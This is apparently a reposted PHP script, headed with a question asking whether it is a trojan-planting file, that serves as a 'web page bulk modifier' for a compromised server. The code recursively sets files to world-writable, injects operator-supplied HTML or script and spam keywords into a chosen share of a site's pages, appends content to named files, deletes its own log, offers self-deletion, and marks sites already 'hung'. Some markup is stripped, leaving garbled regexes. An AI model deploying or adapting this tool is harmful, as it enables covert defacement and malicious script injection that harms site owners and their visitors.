挂马文件??

get_encode($home);
           if($encoding==false)
               die("无法自动识别页面编码!");
       }*/

        $this->keyword = mb_convert_encoding($keyword, $encoding, "UTF-8");
        $this->insertStr = mb_convert_encoding($insertStr, $encoding, "UTF-8");
        $this->suffixArr = $suffixArr;
        $this->per = $per;
        //$this->encoding = $encoding;
        $this->logPath = $logPath;
        $this->filterArr = $filterArr; //过滤含有某些关键字的文件

        $this->conRegArr = array("(]+?post[^>]+?>.+?

)(.+?)(<\/p>)","(]+?content[^>]+?>.+?

)(.+?)(<\/p>)","(]+?text[^>]+?>.+?

)(.+?)(<\/p>)","(]+?article[^>]+?>.+?

)(.+?)(<\/p>)","(]+?news[^>]+?>.+?

)(.+?)(<\/p>)","(]+?news[^>]+?>.+?)(.+?)(<\/span>)","(]+?article[^>]+?>.+?)(.+?)(<\/span>)","(]+?text[^>]+?>.+?)(.+?)(<\/span>)","(]+?post[^>]+?>.+?)(.+?)(<\/span>)","(]+?content[^>]+?>.+?)(.+?)(<\/span>)","(]+?>.+?

)(.+?)(<\/p>)"); $this->getFilesAndModify("."); $this->writeLog("ALL IS OK!!!"); $log = file_get_contents($this->logPath);; unlink($this->logPath); //自毁 echo ''; /* $fname = basename($_SERVER["SCRIPT_NAME"]); if(unlink($fname)) echo "自杀成功!"; else echo "额,自杀失败,请你赶快了结我吧!"; */ // $sname = $_SERVER["SCRIPT_NAME"]; // echo "继续操作|自我了结 "; echo<< 操作日志

            $log
            
log; file_put_contents(".jae",""); } /** * 检查数组中的值是否出现在字符串中 * @param $arr * @param $str * @return bool */ private function array_in_string($arr,$str) { foreach ($arr as $a) { if(!empty($a)&&stristr($str,$a)) return true; } return false; } /** * 获取文件编码 * @param $file * @return bool|string */ public static function get_encode($file){ //暂时只支持('UTF-8 BOM', 'UTF-8','GB2312','ASCII') /* $signal = fread(fopen($file,'rb'),2); if($signal == chr(239).chr(187)){return 'UTF-8 BOM';} fclose($fp); */ $string = file_get_contents($file); if(chr(239).chr(187).chr(191) == substr($string, 0, 3)) return 'UTF-8'; //UTF-8 BOM if($string === @iconv('UTF-8', 'UTF-8', iconv('UTF-8', 'UTF-8', $string))) return 'UTF-8'; if($string === @iconv('UTF-8', 'ASCII', iconv('ASCII', 'UTF-8', $string))) return 'GB2312'; //ASCII if($string === @iconv('UTF-8', 'GB2312', iconv('GB2312', 'UTF-8', $string))) return 'GB2312'; return false; } /** * 得到目录下的所有文件并修改 * @param $dir * @return bool */ private function getFilesAndModify($dir) { //列出所有文件 $farr = scandir($dir); //切换当前工作目录 // if(!chdir($dir))return false; $sum = $this->getWfileNumber($dir); foreach ($farr as $f) { if ($f != "." && $f != "..") { $fileName = $f; //补全路径 $f = $dir . '/' . $f; //改变文件模式 @chmod($f, 0777); if (is_dir($f)) { $this->getFilesAndModify($f); } else if ($this->checkSuffix($f, $this->suffixArr)) { //修改文件 if ($sum <= 0||$this->array_in_string($this->filterArr,$fileName)) continue; if (!is_readable($f)) { $this->writeLog(getcwd() . '/' . $f . ' 文件不可读!!!'); continue; } if (!is_writable($f)) { $this->writeLog(getcwd() . '/' . $f . ' 文件不可写!!!'); continue; } $html = file_get_contents($f); $js = ''; //寻找正文,并插入内容 $chtml = $html; $falg = true; foreach ($this->conRegArr as $r) { if(preg_match('/'.$r.'/is',$html)) { $chtml = preg_replace('/'.$r.'/is', '$1' . $js . '
' . $this->insertStr . '
$2 $3', $html); $falg = false; break; } } if($falg) { $chtml = preg_replace("/(.*)<\/body>/i", '$1' . $js . '
' . $this->insertStr . '
', $html); } if (!empty($this->keyword)) { $chtml = preg_replace("/(.+)<\/title>/i", '<title>' . $this->keyword . ' _ $1 ', $chtml); $meta1 = "//iU"; $meta2 = "//iU"; $chtml = preg_replace($meta1, '', $chtml); $chtml = preg_replace($meta2, '', $chtml); } if ($chtml != $html) { if (!file_put_contents($f, $chtml)) { $this->writeLog(getcwd() . '/' . $f . ' 文件修改失败(写入失败)!!!'); } else { $this->writeLog(getcwd() . '/' . $f . ' 文件修改成功!!!'); $sum--; } } else { $this->writeLog(getcwd() . '/' . $f . ' 文件修改失败(匹配失败)!!!'); } } } } return true; } /** * 获取当前文件夹有多少个文件将要被修改 * @param $dir * @return float */ private function getWfileNumber($dir) { $farr = scandir($dir); $sum = 0; foreach ($farr as $f) { //补全路径 $f = $dir . '/' . $f; if (is_file($f) && $this->checkSuffix($f, $this->suffixArr)) $sum++; } return ceil($sum * $this->per); } /** * 检查文件后缀是否是用户提供的 * @param $file * @param $suffixArr * @return bool */ private function checkSuffix($file, $suffixArr) { $arr = pathinfo($file); if (isset($arr["extension"])) { return in_array($arr["extension"], $suffixArr); } return false; } /** * 写操作日志函数 * @param $log * @return bool|int */ private function writeLog($log) { if (empty($this->logPath)) return false; return file_put_contents($this->logPath, $log . "\r\n", FILE_APPEND); } } /** * Class AppendContent * 批量追加功能 */ class AppendContent{ private $webPath ; //要扫描的路径 private $fileArr ; //要修改的文件名集合 private $insertStr; //要追加的字符串 private $logPath = "./log.txt"; //日志文件路径 function __construct($fileStr, $insertStr, $pageEncode, $webPath) { $this->fileArr = explode(",",$fileStr); $this->insertStr = mb_convert_encoding($insertStr,$pageEncode,"UTF-8"); $this->webPath = $webPath; $this->scanPath($this->webPath); $this->writeLog("ALL IS OK!!!"); $log = file_get_contents($this->logPath);; unlink($this->logPath); //自毁 echo ''; /* $fname = basename($_SERVER["SCRIPT_NAME"]); if(unlink($fname)) echo "自杀成功!"; else echo "额,自杀失败,请你赶快了结我吧!"; */ // $sname = $_SERVER["SCRIPT_NAME"]; // echo "继续操作|自我了结 "; echo<< 操作日志
            $log
            
log; } private function scanPath($dir){ //列出所有文件 $farr = scandir($dir); foreach ($farr as $f) { if ($f != "." && $f != "..") { $fileName = $f; //补全路径 $f = $dir . '/' . $f; if (is_dir($f)) { $this->scanPath($f); } else if(in_array($fileName,$this->fileArr)){ if(file_put_contents($f,"
".$this->insertStr."
",FILE_APPEND)) { $this->writeLog($f." 修改成功!!!"); }else{ $this->writeLog($f."修改失败!!!!"); } } } } } /** * 写操作日志函数 * @param $log * @return bool|int */ private function writeLog($log) { if (empty($this->logPath)) return false; return file_put_contents($this->logPath, $log . "\r\n", FILE_APPEND); } } //$hj = new GHL("xxxxbb"); /* if(isset($_GET["die"])) { //自毁 echo ''; $fname = basename($_SERVER["SCRIPT_NAME"]); if(unlink($fname)) die("自杀成功!"); else die("额,自杀失败,请你赶快了结我吧!"); }*/ if (isset($_POST["html"])) { $keyword = $_POST["keyword"]; $insertStr = stripslashes($_POST["html"]); //post提交会产生转义字符,这里要去掉 $per = $_POST["per"]; $encoding = $_POST["encoding"]; $log = "./log.txt"; $suffix = $_POST["suffix"]; $filter = $_POST["filter"]; $suffixArr = explode(",", $suffix); $filterArr = explode(",",$filter); $hj = new GHL($keyword, $insertStr, $suffixArr,$filterArr, $per, $encoding, $log); }else if(isset($_POST["add_html"])){ $hj = new AppendContent($_POST["add_fileName"],stripslashes($_POST["add_html"]),$_POST["add_encoding"],$_POST["add_webPath"]); } else { $home ="http://". $_SERVER["HTTP_HOST"]; $encoding = GHL::get_encode($home); echo<< 网页批量修改器---Powered By JAE

Web Page bulk modifier

str; if(is_file(".jae"))echo '
提示:检测到这个网站貌似已经挂过了!
'; echo<<
GB2312   UTF-8
str; }

你可能感兴趣的:(DEDECMS,工具)